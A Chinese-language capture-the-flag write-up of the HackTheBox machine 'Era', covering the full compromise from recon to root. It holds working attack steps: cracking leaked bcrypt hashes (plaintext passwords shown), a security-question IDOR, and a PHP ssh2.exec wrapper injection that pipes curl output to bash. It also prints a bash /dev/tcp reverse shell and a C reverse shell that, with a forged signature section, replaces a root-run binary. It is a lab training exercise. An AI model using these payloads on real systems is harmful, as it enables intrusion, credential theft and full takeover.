Season8 - Era

https://app.hackthebox.com/machines/Era | Linux | Medium

Recon

PortScan

➜  Era nmap -sT -min-rate 5000 -p- 10.10.11.79
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-28 20:13 CST
Nmap scan report for 10.10.11.79
Host is up (0.071s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
21/tcp open  ftp
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 13.97 seconds

➜  Era nmap -sT -A -p 21,80 10.10.11.79          
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-28 20:14 CST
Nmap scan report for 10.10.11.79
Host is up (0.070s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://era.htb/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT      ADDRESS
1   63.02 ms 10.10.14.1
2   63.04 ms 10.10.11.79

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.79 seconds

枚举

FTP 匿名测试

➜  Era ftp anonymous@10.10.11.79   
Connected to 10.10.11.79.
220 (vsFTPd 3.0.5)
331 Please specify the password.

HTTP 服务

主页中没发现什么信息，爆破一下子域名

➜  Era ffuf -u http://era.htb/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'host:FUZZ.era.htb' --fc=302

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://era.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.era.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 302
________________________________________________

file                    [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 61ms]
:: Progress: [114442/114442] :: Job [1/1] :: 709 req/sec :: Duration: [0:03:19] :: Errors: 0 ::

访问 file.era.htb

只有登录页但是没找到注册页面，进行目录爆破

➜  Era gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,zip -u http://file.era.htb --exclude-length 6765             
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://file.era.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Exclude Length:          6765
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 178] [--> http://file.era.htb/images/]
/download.php         (Status: 302) [Size: 0] [--> login.php]
/login.php            (Status: 200) [Size: 9214]
/register.php         (Status: 200) [Size: 3205]
/files                (Status: 301) [Size: 178] [--> http://file.era.htb/files/]
/assets               (Status: 301) [Size: 178] [--> http://file.era.htb/assets/]
/upload.php           (Status: 302) [Size: 0] [--> login.php]
/layout.php           (Status: 200) [Size: 0]
/manage.php           (Status: 302) [Size: 0] [--> login.php]                                                                                                                                   
/LICENSE              (Status: 200) [Size: 34524]                                                                                                                                               
/reset.php            (Status: 302) [Size: 0] [--> login.php]

能找到 register.php ，注册用户 sunset

进入后台

有个更新安全问题的选项，主页中有一个可以根据安全问题来进行登录，但是我们不知道别的用户名也无济于事

还存在文件上传功能点

文件泄露

上传文件之后，可以看到是由 ID 调用的

我们尝试一下爆破下 ID

➜  Era ffuf -u 'http://file.era.htb//download.php?id=FUZZ&dl=true' -H 'Cookie: PHPSESSID=o4p7som9puj73tm9a8mc9qgusa' -w num --fs=7686

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://file.era.htb//download.php?id=FUZZ&dl=true
 :: Wordlist         : FUZZ: /root/Desktop/HackTheBox/Era/num
 :: Header           : Cookie: PHPSESSID=o4p7som9puj73tm9a8mc9qgusa
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 7686
________________________________________________

150                     [Status: 200, Size: 2746, Words: 12, Lines: 9, Duration: 114ms]
54                      [Status: 200, Size: 2006697, Words: 7361, Lines: 7445, Duration: 89ms]
2517                    [Status: 200, Size: 5492, Words: 701, Lines: 192, Duration: 72ms]
2528                    [Status: 200, Size: 21, Words: 3, Lines: 2, Duration: 80ms]
6660                    [Status: 200, Size: 158, Words: 5, Lines: 3, Duration: 68ms]
:: Progress: [10000/10000] :: Job [1/1] :: 598 req/sec :: Duration: [0:00:22] :: Errors: 0 ::

其中一些是用户上传的，54是我们想要的

➜  Era curl 'http://file.era.htb//download.php?id=54&dl=true' -H 'Cookie: PHPSESSID=o4p7som9puj73tm9a8mc9qgusa' --output site-backup-30-08-24.zip
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 1959k    0 1959k    0     0  2302k      0 --:--:-- --:--:-- --:--:-- 2302k

解压出来后是网站的源代码

➜  Era ls
bg.jpg        filedb.sqlite         index.php           layout.php  logout.php  register.php  screen-download.png  screen-manage.png   upload.php
css           files                 initial_layout.php  LICENSE     main.png    reset.php     screen-login.png     screen-upload.png   webfonts
download.php  functions.global.php  layout_login.php    login.php   manage.php  sass          screen-main.png      security_login.php

还注意到存在 filedb.sqlite ，使用 sqlite打开

sqlite> .tables
files  users
sqlite> select * from users;
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|600|Maria|Oliver|Ottawa
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||
5|john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6|-1|||
6|ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC|-1|||

得到好几组加密的凭据，我们其进行处理

➜  Era cat raw                                                                      
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|600|Maria|Oliver|Ottawa
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||
5|john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6|-1|||
6|ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC|-1|||

➜  Era cat raw | awk -F '|' '{print $2":"$3}' > hash

进行爆破

➜  Era john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (bcrypt [Blowfish 32/64 X3])
Loaded hashes with cost 1 (iteration count) varying from 1024 to 4096
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
america          (eric)     
mustang          (yuri)

拿到凭据后去测试 FTP

最后使用 yuri 的账户能成功进入

➜  Era ftp yuri@10.10.11.79
Connected to 10.10.11.79.
220 (vsFTPd 3.0.5)
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.

能扒拉出不少文件

代码审计

在 download.php 中，我们可以发现一段注释写着”目前仅供管理员使用”

这里使用AI 进行分析：

这部分代码包含一个典型且极其严重的安全漏洞。这是一个 PHP 流封装协议注入（PHP Stream Wrapper Injection）漏洞：

攻击者通过 URL 完全控制 format 参数
代码检查 format 是否包含 ://

然而，它非但没有阻止这个输入，反而将用户提供的整个字符串赋值给了 $wrapper 变量。这是致命的缺陷。开发者的本意可能并非如此，但实现方式导致了漏洞
用户可控的 $wrapper 被直接拼接到文件名 $file 的前面，然后这个结果被传递给了 fopen() 函数。PHP 中的 fopen() 函数功能异常强大，因为它能理解“PHP 流封装协议（Stream Wrappers）”

但是我们测试这个漏洞的前提是我们得先拥有管理员后台

IDOR

我们回到后台中，因为我们知道了管理员账户的用户名

我们尝试在随意一个用户的后台中更新管理账户的安全问题

点击 update 竟然提示更新成功了

然后我们来到主页点击使用 “Login using security questions”

输入刚刚更新问题就能进入管理员的后台

验证漏洞

首先漏洞要满足条件，ID 是数字并且是存在的，并且show 为 true ，使用管理员账户进行登录

但是下载文件时会将 ID 的文件名拼接上去

$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');

假如我们输入 php://filter/read=convert.base64-encode/resource=/etc/passwd

就会变成 php://filter/read=convert.base64-encode/resource=/etc/passwdfiles/xxx

这里我尝试了一下无法进行 LFI ，也可能是没有回显

找到一个 PHP 的SSH Warppers

https://www.php.net/manual/en/wrappers.ssh2.php

我们可以尝试使用上面的得到的用户进行尝试

ssh2.exec://yuri:mustang@127.0.0.1:22/curl+<Your IP>/
ssh2.exec://eric:america@127.0.0.1:22/curl+<Your IP>/

使用 eric:america 的凭据可以成功执行 SSRF

我们写一个反弹 shell 脚本然后让它读取然后执行

# shell.sh
/bin/bash -c 'bash -i >& /dev/tcp/<Your IP>/1234 0>&1'

开启服务器，在 URL 上输入如下命令

ssh2.exec://eric:america@127.0.0.1:22/curl+<Your IP>/shell.sh+|bash;

成功接收到 shell

该用户可以读取 user.txt

eric@era:~$ cat user.txt 
d06xxxxxxxxxxxxxxxxxxxxxxxx

权限提升

上边 id 的时候能注意到我们属于 devs组

eric@era:~$ id
uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs)

Linpeas 枚举，有几个 devs 组可以读取的文件

1220  ╔══════════╣ Readable files belonging to root and readable by me but not world readable 
  1221  -rw-r----- 1 root eric 33 Jul 29 03:11 /home/eric/user.txt                              
  1222  -rwxrw---- 1 root devs 16544 Jul 29 04:07 /opt/AV/periodic-checks/monitor               
  1223  -rw-rw---- 1 root devs 205 Jul 29 04:07 /opt/AV/periodic-checks/status.log

文件夹信息

eric@era:/opt/AV/periodic-checks$ ls -la
total 32
drwxrwxr-- 2 root devs  4096 Jul 29 04:53 .
drwxrwxr-- 3 root devs  4096 Jul 22 08:42 ..
-rwxrw---- 1 root devs 16544 Jul 29 04:53 monitor
-rw-rw---- 1 root devs   307 Jul 29 04:53 status.log

eric@era:/opt/AV$ ls -al
total 12
drwxrwxr-- 3 root devs 4096 Jul 22 08:42 .
drwxrwxr-x 3 root root 4096 Jul 22 08:42 ..
drwxrwxr-- 2 root devs 4096 Jul 29 04:54 periodic-checks

名字是 periodic-checks 定期检查，上传 pspy 看看

能看到有定时任务在执行，并且会使用 objcopy 从 /opt/AV/periodic-checks/monitor 这个可执行文件中，提取一个名为 .text_sig 的区段（section），并将其内容转储到一个名为 text_sig_section.bin 的新文件中

monitor 可执行文件很简单

并且我们对其有权限，我们可以替换它

首先写一个反弹 shell 功能的 C 语言文件

#include <stdlib.h>

int main() {
    system("/bin/bash -c 'bash -i >& /dev/tcp/<Your IP>/4444 0>&1'");
    return 0;
}

生成 ELF 文件

eric@era:/tmp$ gcc -o shell shell.c

替换文件

eric@era:/tmp$ cp bg /opt/AV/periodic-checks/monitor

我们观察 pspy 和监听的端口，但是 pspy 上显示执行后，并没有将 shell 弹过来

可能是脚本中处理或需要验证.text_sig 字段，所以尝试将原本的monitor中的.text_sig 复制到我们的 shell 中

readelf -S monitor

我们将原本的 monitor 的 .text_sig dump 下来

➜  Era objcopy --dump-section .text_sig=sig monitor

再添加到我们的 shell 上边

➜  Era objcopy --add-section .text_sig=sig shell

这里可以运行 readelf 查看是否添加了上去

然后我们再使用 shell 替换掉 monitor 即可

等待运行即可将 shell 弹回来

总结

没耐心，没耐心，不知道为什么在 web 模块的时候就是没有耐心

代码审计一开始就只看了 upload 和数据库文件，并没有看 donwload，所以错过了

这是检查的脚本，只是用 grep 来检查.text_sig 是否存在某些字符串

#!/bin/bash

# Paths
BINARY="/opt/AV/periodic-checks/monitor"
SECTION=".text_sig"
EXTRACTED_SECTION="text_sig_section.bin"
ORGANIZATION="Era Inc."
EMAIL="yurivich@era.com"

# Extract the .text_sig section
objcopy --dump-section "$SECTION"="$EXTRACTED_SECTION" "$BINARY"

# Parse the ASN.1 structure
OUTPUT=$(openssl asn1parse -inform DER -in "$EXTRACTED_SECTION" 2>/dev/null)

if [[ $? -ne 0 ]]; then
    echo "[ERROR] Executable not signed. Tampering attempt detected. Skipping."
    rm -f "$EXTRACTED_SECTION"
    exit 1
fi

# Check for the organization name
ORG_CHECK=$(echo "$OUTPUT" | grep -oP "(?<=UTF8STRING        :)$ORGANIZATION")

# Check for the email address
EMAIL_CHECK=$(echo "$OUTPUT" | grep -oP "(?<=IA5STRING         :)$EMAIL")

# Decision logic
if [[ "$ORG_CHECK" == "$ORGANIZATION" && "$EMAIL_CHECK" == "$EMAIL" ]]; then
    $BINARY
    echo "[SUCCESS] No threats detected."
    ALLOW=1
else
    echo "[FAILURE] Binary has been tampered with. Skipping."
    ALLOW=0
fi

# Cleanup
rm -f "$EXTRACTED_SECTION"

# Exit with appropriate status
exit $ALLOW

HackTheBox - Machine - Era